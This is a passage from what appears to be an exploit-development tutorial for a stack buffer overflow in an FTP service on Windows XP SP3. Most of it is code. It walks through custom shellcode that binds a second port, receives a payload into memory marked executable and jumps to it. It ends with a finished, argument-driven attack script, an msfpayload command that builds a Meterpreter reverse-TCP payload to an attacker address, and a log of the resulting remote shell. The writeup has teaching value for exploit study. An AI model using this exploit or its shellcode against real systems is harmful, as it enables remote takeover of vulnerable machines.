s.connect((host, port))
s.recv(2048)
s.send(payload)
s.shutdown
s.close
max_size = 365
offsets = {
'SC': 266,
'EIP': 294,
'ESP': 302,
}
# the start of our collection of supported platforms
targets = [
{ 'Name': 'Windows XP SP3', 'JMPESP': 0x7e4456f7 }
]
# Hard coded target for now
target = targets[0]
print "[*] Attacking {0}:{1} ...".format(host, port)
block1 = ""
# Adjust the stack to prevent it from breaking things in our shellcode
block1 += "\x83\xEC\x7C" # SUB ESP, 0x7C
# Get the address of `socket` into EBX
block1 += "\xBB\x44\x34\x34\x40" # MOV EBX,<offsetted address>
block1 += "\xC1\xEB\x08" # SHR EBX, 0x8
# set up the stack for the call to `socket`
block1 += "\xB0\x06" # MOV AL, 0x6
block1 += "\x50" # PUSH EAX
block1 += "\xB0\x01" # MOV AL, 0x1
block1 += "\x50" # PUSH EAX
block1 += "\x40" # INC EAX
block1 += "\x50" # PUSH EAX
# invoke the call to `socket`
block1 += "\xFF\xD3" # CALL EBX
# save our socket handle
block1 += "\x89\xC7" # MOV EDI, EAX
# Find sockaddr
block1 += "\x89\xD9" # MOV ECX, EBX
block1 += "\xB5\x74" # MOV CH, 0x74
# adjust the port number by bumping it up one to 22
block1 += "\xFE\x41\x03" # INC BYTE [ECX+3]
# adjust the call pointer to reference bind
block1 += "\xB3\x54" # MOV BL, 0x54
# prepare the parameters on the stack for the bind call
block1 += "\x6A\x10" # PUSH 0x10
block1 += "\x51" # PUSH ECX
block1 += "\x50" # PUSH EAX
# invoke the call to `bind`
block1 += "\xFF\xD3" # CALL EBX
# set a breakpoint so we can see what's going on
block1 += "\xCC"
command = ""
command += "Z" * (offsets['SC'] - len(command))
command += "B" * (offsets['EIP'] - len(command))
command += struct.pack("<L", target['JMPESP'])
command += "C" * (offsets['ESP'] - len(command))
command += block1
command += "E" * (max_size - len(command))
print "[*] Command {0} chars...".format(len(command))
pwn(command)
And with this script invoked, we see the following shellcode in Immunity:
00B5FFC0 83EC 7C SUB ESP,7C
00B5FFC3 BB 44343440 MOV EBX,40343444
00B5FFC8 C1EB 08 SHR EBX,8
00B5FFCB B0 06 MOV AL,6
00B5FFCD 50 PUSH EAX
00B5FFCE B0 01 MOV AL,1
00B5FFD0 50 PUSH EAX
00B5FFD1 40 INC EAX
00B5FFD2 50 PUSH EAX
00B5FFD3 FFD3 CALL EBX
00B5FFD5 89C7 MOV EDI,EAX
00B5FFD7 89D9 MOV ECX,EBX
00B5FFD9 B5 74 MOV CH,74
00B5FFDB FE41 03 INC BYTE PTR DS:[ECX+3]
00B5FFDE B3 54 MOV BL,54
00B5FFE0 6A 10 PUSH 10
00B5FFE2 51 PUSH ECX
00B5FFE3 50 PUSH EAX
00B5FFE4 FFD3 CALL EBX
And at the end of this run the registers look like this:
EAX 00000000
ECX 0024CF98
EDX 0024C890
EBX 00403454 <JMP.&WS2_32.bind>
ESP 00B5FF44
EBP 42424242
ESI 42424242
EDI 00000084
EIP 00B5FFE7
O 0 LastErr ERROR_SUCCESS (00000000)
This shows that bind returned 0 (which is good) and that the LastErr is success. All is well so far! All we need now are listen, accept and recv. listen is a really simple call which takes the socket handle and a backlog counter. So let’s move EBX to point to this function first, then set up the stack before doing the call:
MOV BL, 0x5C ; Point EBX at `listen`
PUSH 0x7F ; Specify a big backlog
PUSH EDI ; Pass in the socket
CALL EBX ; Invoke listen
Let’s give that a crack in our script:
#!/usr/bin/python
import socket, struct
host = '10.1.10.34'
port = 21
def read_file(path):
with open(path, 'r') as f:
return f.read()
def pwn(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(2048)
s.send(payload)
s.shutdown
s.close
max_size = 365
offsets = {
'SC': 266,
'EIP': 294,
'ESP': 302,
}
# the start of our collection of supported platforms
targets = [
{ 'Name': 'Windows XP SP3', 'JMPESP': 0x7e4456f7 }
]
# Hard coded target for now
target = targets[0]
print "[*] Attacking {0}:{1} ...".format(host, port)
block1 = ""
# Adjust the stack to prevent it from breaking things in our shellcode
block1 += "\x83\xEC\x7C" # SUB ESP, 0x7C
# Get the address of `socket` into EBX
block1 += "\xBB\x44\x34\x34\x40" # MOV EBX,<offsetted address>
block1 += "\xC1\xEB\x08" # SHR EBX, 0x8
# set up the stack for the call to `socket`
block1 += "\xB0\x06" # MOV AL, 0x6
block1 += "\x50" # PUSH EAX
block1 += "\xB0\x01" # MOV AL, 0x1
block1 += "\x50" # PUSH EAX
block1 += "\x40" # INC EAX
block1 += "\x50" # PUSH EAX
# invoke the call to `socket`
block1 += "\xFF\xD3" # CALL EBX
# save our socket handle
block1 += "\x89\xC7" # MOV EDI, EAX
# Find sockaddr
block1 += "\x89\xD9" # MOV ECX, EBX
block1 += "\xB5\x74" # MOV CH, 0x74
# adjust the port number by bumping it up one to 22
block1 += "\xFE\x41\x03" # INC BYTE [ECX+3]
# adjust the call pointer to reference `bind`
block1 += "\xB3\x54" # MOV BL, 0x54
# prepare the parameters on the stack for the `bind` call
block1 += "\x6A\x10" # PUSH 0x10
block1 += "\x51" # PUSH ECX
block1 += "\x50" # PUSH EAX
# invoke the call to `bind`
block1 += "\xFF\xD3" # CALL EBX
# adjust the call pointer to reference `listen`
block1 += "\xB3\x5C" # MOV BL, 0x5C
# prepare the parameters on the stack for the `listen` call
block1 += "\x6A\x7F" # PUSH 0x7F
block1 += "\x57" # PUSH EDI
# invoke the call to `listen`
block1 += "\xFF\xD3" # CALL EBX
# set a breakpoint so we can see what's going on
block1 += "\xCC"
command = ""
command += "Z" * (offsets['SC'] - len(command))
command += "B" * (offsets['EIP'] - len(command))
command += struct.pack("<L", target['JMPESP'])
command += "C" * (offsets['ESP'] - len(command))
command += block1
command += "E" * (max_size - len(command))
print "[*] Command {0} chars...".format(len(command))
pwn(command)
And this is what we get as shellcode:
00B5FFC0 83EC 7C SUB ESP,7C
00B5FFC3 BB 44343440 MOV EBX,40343444
00B5FFC8 C1EB 08 SHR EBX,8
00B5FFCB B0 06 MOV AL,6
00B5FFCD 50 PUSH EAX
00B5FFCE B0 01 MOV AL,1
00B5FFD0 50 PUSH EAX
00B5FFD1 40 INC EAX
00B5FFD2 50 PUSH EAX
00B5FFD3 FFD3 CALL EBX
00B5FFD5 89C7 MOV EDI,EAX
00B5FFD7 89D9 MOV ECX,EBX
00B5FFD9 B5 74 MOV CH,74
00B5FFDB FE41 03 INC BYTE PTR DS:[ECX+3]
00B5FFDE B3 54 MOV BL,54
00B5FFE0 6A 10 PUSH 10
00B5FFE2 51 PUSH ECX
00B5FFE3 50 PUSH EAX
00B5FFE4 FFD3 CALL EBX
00B5FFE6 CC INT3
00B5FFE7 B3 5C MOV BL,5C
00B5FFE9 6A 7F PUSH 7F
00B5FFEB 57 PUSH EDI
00B5FFEC FFD3 CALL EBX
With the registers containing the following successful result:
EAX 00000000
ECX 0024CF98
EDX 00000000
EBX 0040345C <JMP.&WS2_32.listen>
ESP 00B5FF44
EBP 42424242
ESI 42424242
EDI 00000084
EIP 00B5FFEE
O 0 LastErr ERROR_SUCCESS (00000000)
Making good progress. Now we need to start accepting new connections on our socket, for that we get accept set up. The call would normally look like accept(socket, NULL, NULL), but we’re in a great spot because ESP current points to the middle of bunch of zeros, which means the two NULL values are effectively already pushed. This means we save instructions by not pushing them. Instead, we just adjust EBX to point at accept, push our socket handle and make the call:
MOV BL, 0x24 ; Point EBX at `accept`
PUSH EDI ; Pass in the socket
CALL EBX ; Invoke accept
Now this is where it starts to get interesting, because this call is a blocking call. As a result, we need to have our attacker script connect to the bind port for the script to continue. We’ll make another call to the server on the next port (22) and for this we’ll be sending the payload that we want executed on the server. For now, this payload will be a dummy payload, but in future it will be any payload we want. This is what the exploit looks like now:
#!/usr/bin/python
import socket, struct, time
host = '10.1.10.34'
port = 21
def read_file(path):
with open(path, 'r') as f:
return f.read()
def pwn(payload, port, recv = True):
print "[*] Sending {0} bytes to {1}:{2}...".format(len(payload), host, port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
if recv:
s.recv(2048)
s.send(payload)
s.shutdown
s.close
max_size = 365
offsets = {
'SC': 266,
'EIP': 294,
'ESP': 302,
}
# the start of our collection of supported platforms
targets = [
{ 'Name': 'Windows XP SP3', 'JMPESP': 0x7e4456f7 }
]
# Hard coded target for now
target = targets[0]
print "[*] Attacking {0}:{1} ...".format(host, port)
block1 = ""
# Adjust the stack to prevent it from breaking things in our shellcode
block1 += "\x83\xEC\x7C" # SUB ESP, 0x7C
# Get the address of `socket` into EBX
block1 += "\xBB\x44\x34\x34\x40" # MOV EBX,<offsetted address>
block1 += "\xC1\xEB\x08" # SHR EBX, 0x8
# set up the stack for the call to `socket`
block1 += "\xB0\x06" # MOV AL, 0x6
block1 += "\x50" # PUSH EAX
block1 += "\xB0\x01" # MOV AL, 0x1
block1 += "\x50" # PUSH EAX
block1 += "\x40" # INC EAX
block1 += "\x50" # PUSH EAX
# invoke the call to `socket`
block1 += "\xFF\xD3" # CALL EBX
# save our socket handle
block1 += "\x89\xC7" # MOV EDI, EAX
# Find sockaddr
block1 += "\x89\xD9" # MOV ECX, EBX
block1 += "\xB5\x74" # MOV CH, 0x74
# adjust the port number by bumping it up one to 22
block1 += "\xFE\x41\x03" # INC BYTE [ECX+3]
# adjust the call pointer to reference `bind`
block1 += "\xB3\x54" # MOV BL, 0x54
# prepare the parameters on the stack for the `bind` call
block1 += "\x6A\x10" # PUSH 0x10
block1 += "\x51" # PUSH ECX
block1 += "\x50" # PUSH EAX
# invoke the call to `bind`
block1 += "\xFF\xD3" # CALL EBX
# adjust the call pointer to reference `listen`
block1 += "\xB3\x5C" # MOV BL, 0x5C
# prepare the parameters on the stack for the `listen` call
block1 += "\x6A\x7F" # PUSH 0x7F
block1 += "\x57" # PUSH EDI
# invoke the call to `listen`
block1 += "\xFF\xD3" # CALL EBX
# adjust the call pointer to reference `accept`
block1 += "\xB3\x24" # MOV BL, 0x24
# prepare the parameters on the stack for the `accept` call
block1 += "\x57" # PUSH EDI
# invoke the call to `accept`
block1 += "\xFF\xD3" # CALL EBX
# set a breakpoint so we can see what's going on
block1 += "\xCC"
command = ""
command += "Z" * (offsets['SC'] - len(command))
command += "B" * (offsets['EIP'] - len(command))
command += struct.pack("<L", target['JMPESP'])
command += "C" * (offsets['ESP'] - len(command))
command += block1
command += "E" * (max_size - len(command))
# send the initial exploit
pwn(command, port)
# wait a sec for the port to be bound
time.sleep(1)
# Send the payload on the bind port
pwn("AAA", port + 1)
Resulting shellcode that appears in memory looks like this:
00B5FFC0 83EC 7C SUB ESP,7C
00B5FFC3 BB 44343440 MOV EBX,40343444
00B5FFC8 C1EB 08 SHR EBX,8
00B5FFCB B0 06 MOV AL,6
00B5FFCD 50 PUSH EAX
00B5FFCE B0 01 MOV AL,1
00B5FFD0 50 PUSH EAX
00B5FFD1 40 INC EAX
00B5FFD2 50 PUSH EAX
00B5FFD3 FFD3 CALL EBX
00B5FFD5 89C7 MOV EDI,EAX
00B5FFD7 89D9 MOV ECX,EBX
00B5FFD9 B5 74 MOV CH,74
00B5FFDB FE41 03 INC BYTE PTR DS:[ECX+3]
00B5FFDE B3 54 MOV BL,54
00B5FFE0 6A 10 PUSH 10
00B5FFE2 51 PUSH ECX
00B5FFE3 50 PUSH EAX
00B5FFE4 FFD3 CALL EBX
00B5FFE6 B3 5C MOV BL,5C
00B5FFE8 6A 7F PUSH 7F
00B5FFEA 57 PUSH EDI
00B5FFEB FFD3 CALL EBX
00B5FFED B3 24 MOV BL,24
00B5FFEF 57 PUSH EDI
00B5FFF0 FFD3 CALL EBX
By now you’ll notice that the last call blocks until our attacker script connects the second time. After this, the registers look like this:
EAX 000000A4
ECX 0024A888
EDX 00000009
EBX 00403424 <JMP.&WS2_32.accept>
ESP 00B5FF4C
EBP 42424242
ESI 42424242
EDI 00000084
EIP 00B5FFF3
O 0 LastErr ERROR_SUCCESS (00000000)
Another round of success, only this time we have a meaningful value in EAX that we need to keep. This is the accept socket handle, which is the handle that points to the client that has just connected. This is the handle we need to pass to recv in order pull data from the attacker. We don’t need our bind socket handle any more so the first thing we do is persist this in EDI.
MOV EDI, EAX ; Stash the new accept socket
The final hurdle is the call to recv, but this comes with a caveat: we need to give recv a handle to an area of memory that is readable, writable and executable (RWX). Originally I had built this exploit to just reuse a part of the stack, but that didn’t port too well to other operating system versions so instead, I thought allocating memory and changing its protection would make more sense. Let’s get the malloc function ready, the abuse the socket handle value in EAX to create a sane buffer size which we push twice (one as a param to malloc and the other to persist the value across calls).
As this point we’re out of bytes in our first block (actually, just before making the call we run out of bytes). So we need to jmp back to the start of our shellcode with a JMP instruction and carry on from there:
MOV BX,3DD4 ; Set EBX up for the `malloc` call
MOV AH,AL ; use the socket handle as a size fudger
PUSH EAX ; push for size persistence for later use
CALL EBX ; Invoke `malloc`
JMP <address> ; Jmp back to the start of block 2
The result of malloc is memory which needs to be marked as executable, and that lives in EAX. We’ll push this value on the stack for later use, and then set up the virtual protect call:
POP ECX, PUSH ECX ; get a copy of the size in ECX
MOV ESI, EAX ; save the memory handle for later use
PUSH EAX ; push the handle onto the stack as well
MOV BX,0x3EA4 ; Set EBX up for the `virtualprotect` call
LEA EAX, [ESP-0x24] ; Calculate somewhere sane on the stack
PUSH EAX ; Push this value as the buffer for the old protection
PUSH 0x40 ; Mark the area as RWX
PUSH ECX ; specify the memory size to change protection on
PUSH ESI ; Point to the memory to protect
CALL EBX ; Invoke `VirtualProtect`
The beauty of this approach is that the stack is currently set up ready to call recv except for the socket handle, all we need to do adjust for the function and call it. We have another issue here though because the address contains an 0C which is a bad character. So instead we use Mona.py again to tell us a reference point for recv using the iat command. This gives us an address located at 0x004082DC. We can use this address instead and call using CALL [EBX] instead.
MOV BX,82DC ; Set EBX up for the `recv` call, but can't use 0C because it's "bad"
PUSH EDI ; push the socket handle
But wait! We can’t invoke recv because we have run out of space, we have to make use of the last 4 bytes we have tucked away, so to do this we need to jump ahead by 5 bytes. There we can invoke the call:
CALL [EBX] ; Call `recv`
And the icing on the cake, ESI containers the memory pointer the payload was written to, so we just jump there and off we go!
JMP ESI ; Invoke the received payload
If we exclude the 1 blank that is placed after block2, we literally have zero bytes left to play with. Talk about cutting it fine!
Finishing up
Now before our final run, we’ll need to generate a payload that we want to execute. In my case I’m going to use a meterpreter payload:
$ msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.10.40 LPORT=8000 R > revmet8000.bin
I’m going to use this as the content that I sent to the server at the end of the exploit. We’ll actually pass this in on the command line from here.
And so with a few more adjustments and some spit’n’polish, we have a weaponised exploit ready to go (breakpoint free!) that looks like this:
#!/usr/bin/python
import socket, struct, time, sys
# the start of our collection of supported platforms
targets = [
{ 'Name': 'Windows XP SP3', 'JMPESP': 0x7e4456f7 }
]
if len(sys.argv) != 5:
print "Usage: {0} <target> <host> <port> <payload>".format(sys.argv[0])
print " Targets:"
for i in range(0, len(targets)):
print " {0}: {1}".format(i, targets[i]['Name'])
print "Eg. {0} 0 127.0.0.1 21 revshell.bin".format(sys.argv[0])
sys.exit(1)
target = targets[int(sys.argv[1])]
host = sys.argv[2]
port = int(sys.argv[3])
payload_file = sys.argv[4]
def read_file(path):
with open(path, 'r') as f:
return f.read()
def pwn(payload, port, recv = True):
print "[*] Sending {0} bytes to {1}:{2}...".format(len(payload), host, port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
if recv:
s.recv(2048)
s.send(payload)
s.shutdown
s.close
max_size = 365
offsets = {
'SC': 266,
'EIP': 294,
'ESP': 302,
}
print "[*] Attacking {0}:{1} ...".format(host, port)
block1 = ""
# Adjust the stack to prevent it from breaking things in our shellcode
block1 += "\x83\xEC\x7C" # SUB ESP, 0x7C
# Get the address of `socket` into EBX
block1 += "\xBB\x44\x34\x34\x40" # MOV EBX,<offsetted address>
block1 += "\xC1\xEB\x08" # SHR EBX, 0x8
# set up the stack for the call to `socket`
block1 += "\xB0\x06" # MOV AL, 0x6
block1 += "\x50" # PUSH EAX
block1 += "\xB0\x01" # MOV AL, 0x1
block1 += "\x50" # PUSH EAX
block1 += "\x40" # INC EAX
block1 += "\x50" # PUSH EAX
# invoke the call to `socket`
block1 += "\xFF\xD3" # CALL EBX
# save our socket handle
block1 += "\x89\xC7" # MOV EDI, EAX
# Find sockaddr
block1 += "\x89\xD9" # MOV ECX, EBX
block1 += "\xB5\x74" # MOV CH, 0x74
# adjust the port number by bumping it up one to 22
block1 += "\xFE\x41\x03" # INC BYTE [ECX+3]
# adjust the call pointer to reference `bind`
block1 += "\xB3\x54" # MOV BL, 0x54
# prepare the parameters on the stack for the `bind` call
block1 += "\x6A\x10" # PUSH 0x10
block1 += "\x51" # PUSH ECX
block1 += "\x50" # PUSH EAX
# invoke the call to `bind`
block1 += "\xFF\xD3" # CALL EBX
# adjust the call pointer to reference `listen`
block1 += "\xB3\x5C" # MOV BL, 0x5C
# prepare the parameters on the stack for the `listen` call
block1 += "\x6A\x7F" # PUSH 0x7F
block1 += "\x57" # PUSH EDI
# invoke the call to `listen`
block1 += "\xFF\xD3" # CALL EBX
# adjust the call pointer to reference `accept`
block1 += "\xB3\x24" # MOV BL, 0x24
# prepare the parameters on the stack for the `accept` call
block1 += "\x57" # PUSH EDI
# invoke the call to `accept`
block1 += "\xFF\xD3" # CALL EBX
# prepare for the malloc call and call it
block1 += "\x8B\xF8" # MOV EDI, EAX
block1 += "\x66\xBB\xD4\x3D" # MOV BX, 0x3DD4
block1 += "\x8A\xE0" # MOV AH, AL
block1 += "\x50" # PUSH EAX
block1 += "\xFF\xD3" # CALL EBX
block1 += "\xEB\x9D" # JMP BLOCK2
block2 = ""
# invoke the call to `malloc`
block2 += "\x59\x51" # POP ECX, PUSH ECX
# save the memory handle, and push it up ready for later use
block2 += "\x8B\xF0" # MOV ESI, EAX
block2 += "\x50" # PUSH EAX
# set up virtual protect call
block2 += "\x66\xBB\xA4\x3E" # MOV BX, 0x3EA4
block2 += "\x8D\x44\x24\xDC" # LEA EAX, [ESP-0x24]
block2 += "\x50" # PUSH EAX
block2 += "\x6A\x40" # PUSH 0x40
block2 += "\x51" # PUSH ECX
block2 += "\x56" # PUSH ESI
# call virtual protect
block2 += "\xFF\xD3" # CALL EBX
# prep the call for recv
block2 += "\x66\xBB\xDC\x82" # MOV BX, 0x82DC
block2 += "\x57" # PUSH EDI
# jump to tucked block
block2 += "\xEB\x05" # JMP <5 bytes forward>
tucked = ""
# call recv
tucked += "\xFF\x13" # CALL [EBX]
# invoke the payload
tucked += "\xFF\xE6" # JMP ESI
command = ""
command += "Z" * (offsets['SC'] - len(command))
command += block2
command += "B" * (offsets['EIP'] - len(command))
command += struct.pack("<L", target['JMPESP'])
command += tucked
command += block1
command += "E" * (max_size - len(command))
# send the initial exploit
pwn(command, port)
# wait a sec for the port to be bound
time.sleep(1)
# Send the payload on the bind port
pwn(read_file(payload_file), port + 1, False)
Armed with this, we can set up a Meterpreter listener:
msf exploit(handler) > exploit
[*] Started reverse handler on 10.1.10.40:8000
[*] Starting the payload handler...
Launch our script at the application:
$ ./sploit.py 0 10.1.10.34 21 ./revmet8000.bin
[*] Attacking 10.1.10.34:21 ...
[*] Sending 365 bytes to 10.1.10.34:21...
[*] Sending 314 bytes to 10.1.10.34:22...
Watch the magic happen:

And enjoy a Meterpreter shell:
[*] Sending stage (787456 bytes) to 10.1.10.34
[*] Meterpreter session 2 opened (10.1.10.40:8000 -> 10.1.10.34:3779) at 2014-03-01 01:20:04 +1000
meterpreter > getuid
Server username: OJ-75E3B8CC9475\bob
meterpreter > sysinfo
Computer : OJ-75E3B8CC9475
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
Last thoughts
Adding new Windows XP based targets to this is a breeze, and is left as an exercise for the reader. I plan to do a future post on how to make this bypass ASLR, but I’m not sure when I’ll get to it. Writing these things up takes way longer than exploiting them in the first place.
I hope you enjoyed the reading. Comments and questions are always welcome, as are corrections for fails and typos.